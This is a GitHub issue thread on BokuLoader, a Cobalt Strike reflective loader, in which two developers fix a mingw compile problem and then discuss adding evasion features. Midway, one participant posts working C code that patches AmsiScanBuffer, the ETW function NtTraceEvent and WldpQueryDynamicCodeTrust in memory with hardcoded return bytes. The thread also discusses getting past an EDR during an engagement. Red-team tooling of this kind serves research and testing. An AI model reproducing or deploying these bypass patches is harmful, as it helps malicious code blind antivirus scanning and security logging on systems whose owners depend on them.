boku7 / BokuLoader

A proof-of-concept Cobalt Strike Reflective Loader which aims to recreate, integrate, and enhance Cobalt Strike's evasion features!
MIT License
1.26k stars 244 forks source link

Compilation error #2

Closed mgeeky closed 3 years ago

mgeeky commented 3 years ago

Hi!

When I load your provided .o file it loads & works fine:

[14:43:03] ========== Running 'BEACON_RDLL_GENERATE' for DLL resources/beacon.x64.dll with architecture x64 ========== at rdll_loader.cna:44
[14:43:03] Loaded Length: 5555 at rdll_loader.cna:11
[14:43:03] Extracted Length: 3568 at rdll_loader.cna:20

But when I try to recompile it myself on Windows WSL linux (bash, using the same compile-x64.sh script provided) it breaks with the following:

[14:44:09] ========== Running 'BEACON_RDLL_GENERATE' for DLL resources/beacon.x64.dll with architecture x64 ========== at rdll_loader.cna:44
[14:44:09] Loaded Length: 5847 at rdll_loader.cna:11
[14:44:09] Function call &extract_reflective_loader failed: Can't parse rDLL loader file:
Unknown symbol '.rdata' from: .rdata
Unknown symbol '.rdata' from: .rdata
Unknown symbol '.rdata' from: .rdata
Unknown symbol '.rdata' from: .rdata
 at rdll_loader.cna:19
[14:44:09] Extracted Length: 0 at rdll_loader.cna:20
[14:44:09] Error loading reflective loader object file  - Reverting to using default Cobalt Strike Reflective Loader. at rdll_loader.cna:22

That's weird, but in fact IDA shows additional section named .rdata in my binary that has these contents:

.rdata:0000000000000E90 ; ===========================================================================
.rdata:0000000000000E90
.rdata:0000000000000E90 ; Segment type: Pure data
.rdata:0000000000000E90 ; Segment permissions: Read
.rdata:0000000000000E90 _rdata          segment para public 'DATA' use64
.rdata:0000000000000E90                 assume cs:_rdata
.rdata:0000000000000E90                 ;org 0E90h
.rdata:0000000000000E90 unk_E90         db  6Eh ; n             ; DATA XREF: ReflectiveLoader+E3↑r
.rdata:0000000000000E91                 db    0
.rdata:0000000000000E92                 db  74h ; t
.rdata:0000000000000E93                 db    0
.rdata:0000000000000E94                 db  64h ; d
.rdata:0000000000000E95                 db    0
.rdata:0000000000000E96                 db  6Ch ; l
.rdata:0000000000000E97                 db    0
.rdata:0000000000000E98 unk_E98         db    0                 ; DATA XREF: ReflectiveLoader+EE↑r
.rdata:0000000000000E99                 db    0
.rdata:0000000000000E9A unk_E9A         db  4Bh ; K             ; DATA XREF: ReflectiveLoader+1F2↑r
.rdata:0000000000000E9B                 db    0
.rdata:0000000000000E9C                 db  45h ; E
.rdata:0000000000000E9D                 db    0
.rdata:0000000000000E9E                 db  52h ; R
.rdata:0000000000000E9F                 db    0
.rdata:0000000000000EA0                 db  4Eh ; N
.rdata:0000000000000EA1                 db    0
.rdata:0000000000000EA2 word_EA2        dw 0                    ; DATA XREF: ReflectiveLoader+1FD↑r
.rdata:0000000000000EA4                 align 10h
.rdata:0000000000000EA4 _rdata          ends
.rdata:0000000000000EA4

Being referenced here:

.text:00000000000000CD                 mov     [rbp+210h+var_A8], 0Ch
.text:00000000000000D8                 mov     [rbp+210h+var_B0], 0
.text:00000000000000E3                 mov     rax, cs:qword_E90
.text:00000000000000EA                 mov     [rbp+210h+var_254], rax
.text:00000000000000EE                 movzx   eax, cs:word_E98                     ; <<<------- HERE
.text:00000000000000F5                 mov     [rbp+210h+var_24C], ax
.text:00000000000000F9                 lea     rax, [rbp+210h+var_254]
.text:00000000000000FD                 mov     rcx, rax
.text:0000000000000100                 call    crawlLdrDllList

Any idea what's going on, have you experienced anything like this befor? :-)

Cheers, Mariusz.

mgeeky commented 3 years ago

Got it,

The sole fact that you introduce hardcoded values creates .rdata section in an object file:

    wchar_t ntdlStr[] = L"ntdl"; // L"ntdll.dll" - Only need the first 4 unicode bytes to find the DLL from the loader list
    ntdllAddr = (PVOID)crawlLdrDllList(ntdlStr);
boku7 commented 3 years ago

Strange that it compiles differently from macos ming. From macos ming, it doesn't do rdata, and puts those strings on the stack. I haven't tested compiling from Linux btw

mgeeky commented 3 years ago

So according to my experiments, the .rdata section will be created only when we use wchar_t [] arrays. Switching back to char [] gets rid of it

boku7 commented 3 years ago

Nice! Thanks for the info, had no clue. I'll patch it up today. Might just be a flag that ming needs for Linux to function same as Mac. Or I'll just make it char and tinker to figure out how to incorporate the Unicode nulls. Maybe I just unpack it into Unicode using the mmx registers. Idk.. lol.. I'll figure out something that works for both ;)

mgeeky commented 3 years ago

I'm trying to do just that right now :) Haven't come up with working implementation yet, mingw has a logic (unclear to me) deciding whether to move stuff to .rdata - even when I attempt to introduce null bytes in char array...

Have no clue. The sole reason I'm trying to reuse your work is to try to introduce evasion patches:

If only that bloody gcc got me my object compiled straight...

boku7 commented 3 years ago

I like the way you think! Hey I know how to do the AMSI and ETW ones, but what is WLDP?

boku7 commented 3 years ago

Mann... Evasion patches in the reflective loader... Dude that's sick. Thinking about it more. I can probably implement AMSI and ETW one in like 30 minutes and push out a new one

boku7 commented 3 years ago

@mgeeky I fixed it! haha. It compiles from kali linux now. Changed the wchar to char like you recommended, worked beautifully! I already had that crawlLdrDllList() where it can handle either ASCII or Unicode so update was trivial :)

mgeeky commented 3 years ago

I already got something along the lines in the original User Defined Reflective Loader kit:

#if _WIN32 || _WIN64
#if _WIN64
// ret
#define ETW_PATCH_BYTES {'\xc3'}
#define ETW_PATCH_SIZE 1
#define AMSISCANBUFFER_PATCH_SIZE 8
#define AMSISCANBUFFER_PATCH_BYTES  {'\xb8','\x57','\x00','\x07','\x80','\xc2','\x18','\x00'}
#else
// ret 14h
#define ETW_PATCH_BYTES {'\xc2','\x14','\x00'}
#define ETW_PATCH_SIZE 3
#define AMSISCANBUFFER_PATCH_SIZE 6
#define AMSISCANBUFFER_PATCH_BYTES  {'\xb8','\x57','\x00','\x07','\x80','\xc3'}
#endif
#endif

[...]

    //
    // STEP 6: apply evasion hooks
    //
    // Based on:
    //   - https://modexp.wordpress.com/2019/06/03/disable-amsi-wldp-dotnet/
    //

    if (pLoadLibraryA != NULL && pGetProcAddress != NULL) {

        // Due to PIC requirements imposed on the code, the below string literal has to be split into characters
        // to make compiler generate registers assignment string's initialization
        // https://gist.github.com/EvanMcBroom/f5b1bc53977865773802d795ade67273
        char buf[] = {'V','i','r','t','u','a','l','P','r','o','t','e','c','t', '\x00'};
        VIRTUALPROTECT pVirtualProtect = (VIRTUALPROTECT)pGetProcAddress((HMODULE)kernel32BaseAddress, buf);

        if(pVirtualProtect != NULL) 
        {
            // 6.1.Modules unhooking / refreshing
            //if (RefreshPE("THIS_VALUE_WILL_BE_REPLACED", pLoadLibraryA, pGetProcAddress))
            {
            //    dprintf("ReflectiveLoader: PE refreshed.");
            }

            // 6.2. AMSI hook
            const char buf2[] = {'a', 'm', 's', 'i', '\x00'};
            HMODULE amsi = pLoadLibraryA(buf2);
            if (amsi != NULL) {
                const char buf3[] = {'A', 'm', 's', 'i', 'S', 'c', 'a', 'n', 'B', 'u', 'f', 'f', 'e', 'r', '\x00'};

                LPVOID pAmsiScanBuffer = pGetProcAddress(amsi, buf3);

                if (pAmsiScanBuffer != NULL) {

                    DWORD oldProt = 0, temp = 0;
                    if (pVirtualProtect(pAmsiScanBuffer, AMSISCANBUFFER_PATCH_SIZE, PAGE_EXECUTE_READWRITE, &oldProt))
                    {
                        const char buf[] = AMSISCANBUFFER_PATCH_BYTES;
                        for (unsigned int i = 0; i < AMSISCANBUFFER_PATCH_SIZE; i++)
                        {
                            ((char*)pAmsiScanBuffer)[i] = buf[i];
                        }

                        pVirtualProtect(pAmsiScanBuffer, AMSISCANBUFFER_PATCH_SIZE, oldProt, &temp);
                    }
                }
            }

            // 6.3. ETW hook
            const char buf4[] = {'n', 't', 'd', 'l', 'l', '\x00'};
            HMODULE ntdll = pLoadLibraryA(buf4);
            if (ntdll != NULL) {
                const char buf5[] = {'N', 't', 'T', 'r', 'a', 'c', 'e', 'E', 'v', 'e', 'n', 't', '\x00'};
                LPVOID pNtTraceEvent = pGetProcAddress(ntdll, buf5);

                if (pNtTraceEvent != NULL) {
                    DWORD oldProt = 0, temp = 0;

                    if (pVirtualProtect(pNtTraceEvent, ETW_PATCH_SIZE, PAGE_EXECUTE_READWRITE, &oldProt))
                    {
                        const char buf[] = ETW_PATCH_BYTES ;
                        for (unsigned int i = 0; i < ETW_PATCH_SIZE; i++)
                        {
                            ((char*)pNtTraceEvent)[i] = buf[i];
                        }

                        pVirtualProtect(pNtTraceEvent, ETW_PATCH_SIZE, oldProt, &temp);
                    }
                }
            }

            // 6.4. WLDP (Windows Lockdown Policy) hook

            const char buf6[] = {'w', 'l', 'd', 'p', '\x00'};
            HMODULE wldp = pLoadLibraryA(buf6);
            if (wldp != NULL) {
                const char buf7[] = {'W', 'l', 'd', 'p', 'Q', 'u', 'e', 'r', 'y', 'D', 'y', 'n', 'a', 'm', 'i', 'c', 'C', 'o', 'd', 'e', 'T', 'r', 'u', 's', 't', '\x00'};
                LPVOID pWldpQueryDynamicCodeTrust = pGetProcAddress(wldp, buf7);

                    DWORD oldProt = 0, temp = 0;

                if (pWldpQueryDynamicCodeTrust != NULL) {
                    if (pVirtualProtect(pWldpQueryDynamicCodeTrust, AMSISCANBUFFER_PATCH_SIZE, PAGE_EXECUTE_READWRITE, &oldProt))
                    {
                        // WLDP patch uses the same sequence of bytes that AmsiScanBuffer does. Just simply returns 0

                        const char buf[] = AMSISCANBUFFER_PATCH_BYTES;
                        for (unsigned int i = 0; i < AMSISCANBUFFER_PATCH_SIZE; i++)
                        {
                            ((char*)pWldpQueryDynamicCodeTrust)[i] = buf[i];
                        }

                        pVirtualProtect(pWldpQueryDynamicCodeTrust, AMSISCANBUFFER_PATCH_SIZE, oldProt, &temp);
                    }
                }
            }
        }   
    }

But that isn't working the way I expected yet :P

mgeeky commented 3 years ago

Let's push it harder and focus on adding DLL refreshing logic - in an unhook-bof way.

I've recently was on the engagement where I tested and top-notch EDR configured with all the policies possible. It correctly blocked most of my process-injection attempts. Yet I noticed, that it was able to kill my SharpHound running in a sacrificial process (launched through execute-assembly but merely after couple of seconds it ran).

So it got me thinking - that the EDR did not trigger on process-injection but rather on memory scanning or upon SharpHound hitting some of the monitored APIs. That made me go sick about the idea for having custom Reflective Loader with all the goodies included :)

mgeeky commented 3 years ago

I like the way you think! Hey I know how to do the AMSI and ETW ones, but what is WLDP?

You can read more about it here: https://modexp.wordpress.com/2019/06/03/disable-amsi-wldp-dotnet/#wldp_patch_A

modexp did an outstanding job walking us through viable patching means.

boku7 commented 3 years ago

Awesome. I will def check it out. Just released a new version just now that does AMSI bypass and ETW bypass ;)